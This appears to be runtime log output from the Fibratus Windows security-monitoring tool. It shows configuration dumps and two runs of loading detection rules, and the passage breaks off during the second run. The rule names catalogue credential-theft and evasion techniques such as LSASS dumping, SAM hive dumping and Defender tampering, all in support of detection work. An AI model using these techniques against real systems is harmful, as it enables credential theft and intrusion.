[ flush-interval=>1s stack-enrichment=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-image=>true enable-threadpool=>false enable-registry=>true enable-thread=>true enable-net=>true enable-vamap=>true min-buffers=>16 enable-audit-api=>true enable-handle=>false enable-dns=>false enable-mem=>false buffer-size=>512 max-buffers=>36 enable-fileio=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] match-all=>true] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 formatter=>text level=>info max-backups=>15 max-size=>100 log-stdout=>true] + output ......................... [ http=>[ endpoints=>[] method=>POST timeout=>5s tls-insecure-skip-verify=>false enable-gzip=>false serializer=>json enabled=>false] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true] amqp=>[ exchange-type=>topic delivery-mode=>transient timeout=>5s durable=>false url=>amqp://localhost:5672 passive=>false routing-key=>fibratus tls-insecure-skip-verify=>false exchange=>fibratus vhost=>/ enabled=>false] elasticsearch=>[ enabled=>false healthcheck=>true gzip-compression=>false healthcheck-interval=>10s trace-log=>false healthcheck-timeout=>5s index-name=>fibratus servers=>[http://127.0.0.1:9200] timeout=>5s flush-period=>1s bulk-workers=>1 template-name=>fibratus sniff=>false] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-symbols=>false read-sections=>false read-resources=>false enabled=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ enabled=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] fastscan=>true skip-allocs=>false skip-registry=>false skip-files=>false excluded-files=>[] excluded-procs=>[] skip-mmaps=>false scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-12-12T17:29:31+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-12-12T17:29:33+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-12-12T17:30:52+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-12T17:30:52+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-12-12T17:30:53+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-12-12T17:30:58+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-12-12T17:30:58+01:00 level=info msg=bootstrapping with pid 4104. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-12-12T17:30:58+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ sound=>true quiet-mode=>false enabled=>false] slack=>[ enabled=>false] mail=>[ enabled=>false use-template=>true port=>25 content-type=>text/html to=>[]] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-envs=>true serialize-threads=>false serialize-images=>false serialize-pe=>false] + eventsource .................... [ buffer-size=>512 enable-net=>true enable-registry=>true flush-interval=>1s enable-fileio=>true enable-handle=>false enable-mem=>false enable-image=>true stack-enrichment=>true max-buffers=>36 enable-threadpool=>false enable-vamap=>true enable-audit-api=>true enable-thread=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] min-buffers=>16 enable-dns=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 level=>info log-stdout=>true max-age=>0 max-backups=>15 formatter=>text] + output ......................... [ http=>[ method=>POST tls-insecure-skip-verify=>false enabled=>false endpoints=>[] timeout=>5s serializer=>json enable-gzip=>false] elasticsearch=>[ index-name=>fibratus template-name=>fibratus trace-log=>false healthcheck-timeout=>5s sniff=>false gzip-compression=>false healthcheck-interval=>10s bulk-workers=>1 timeout=>5s flush-period=>1s enabled=>false servers=>[http://127.0.0.1:9200] healthcheck=>true] eventlog=>[ enabled=>false level=>info] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty] amqp=>[ passive=>false enabled=>false delivery-mode=>transient durable=>false routing-key=>fibratus exchange-type=>topic timeout=>5s tls-insecure-skip-verify=>false exchange=>fibratus url=>amqp://localhost:5672 vhost=>/]] + pe ............................. [ enabled=>false excluded-images=>[svchost.exe] read-symbols=>false read-sections=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ skip-registry=>false excluded-procs=>[] enabled=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-mmaps=>false skip-files=>false fastscan=>true scan-timeout=>10s excluded-files=>[] skip-allocs=>false] source=bootstrap/bootstrap.go:185 +time=2025-12-12T17:30:58+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-12-12T17:31:00+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-12-12T17:31:21+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-12T17:31:21+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-12-12T17:31:22+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-12-12T17:31:37+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-12T17:31:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-12T17:31:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-12T17:31:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-12T17:31:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-12T17:31:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-12T17:31:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-12T17:31:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-12T17:31:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-12T17:31:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-12T17:31:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-12T17:31:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-12T17:31:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-12T17:31:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-12T17:31:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-12T17:31:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-12T17:31:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-12T17:31:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-12T17:31:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-12T17:31:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-12T17:31:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-12T17:31:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-12T17:31:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-12T17:31:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-12T17:31:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-12T17:31:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-12T17:31:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-12T17:31:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-12T17:31:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-12T17:31:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-12T17:31:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-12T17:31:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-12T17:31:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-12T17:31:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-12T17:31:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-12T17:31:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-12T17:31:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-12T17:31:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-12T17:31:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-12T17:31:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-12T17:31:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-12T17:31:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-12T17:31:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-12T17:31:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-12T17:31:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-12T17:31:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-12T17:31:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-12T17:31:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-12T17:31:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-12T17:31:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-12T17:31:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-12T17:31:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-12T17:31:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-12T17:31:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-12T17:31:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\execution_embedded_script_execution_via_shortcut_file.yml source=config/filters.go:355 +time=2025-12-12T17:31:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-12T17:31:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-12T17:31:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-12T17:31:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-12T17:31:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-12T17:31:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-12T17:31:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-12T17:31:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-12T17:31:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-12T17:31:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-12T17:31:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-12T17:31:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-12T17:31:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-12T17:31:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-12T17:31:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-12T17:31:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-12T17:31:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-12T17:31:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-12T17:31:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-12T17:31:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-12T17:31:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-12T17:31:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-12T17:31:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-12T17:31:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-12T17:31:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-12T17:31:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-12T17:31:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-12T17:31:38+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\execution_embedded_script_execution_via_shortcut_file.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-12T17:31:53+01:00 